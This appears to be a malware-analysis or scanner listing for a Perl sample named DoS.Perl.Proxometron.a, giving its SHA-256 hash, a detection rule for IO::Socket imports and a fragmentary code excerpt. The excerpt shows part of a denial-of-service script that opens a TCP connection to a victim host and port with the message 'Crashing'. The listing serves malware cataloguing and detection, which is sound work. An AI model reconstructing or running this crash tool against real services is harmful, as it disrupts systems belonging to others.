Benign Download

DoS.Perl.Proxometron.a

imports IO::SocketPerl IO::Socket::INET client connection

SHA-2560e58abfd989418ce477add63f021edb5408f20c6f7e745c888c606718fcddf63

Evidence

imports IO::Socket lines 1–35

⋯4 lines
5#####################################################
6
7use IO::Socket;
8
9$ARGC=@ARGV;
⋯10 lines
20print "\n-->";
21print "\tCrashing:$vic on:$Uport\n";
22unless ($socket2 = IO::Socket::INET->new (Proto => "TCP",
23					  PeerAddr => $vic,
24					  PeerPort => $Uport))
⋯11 lines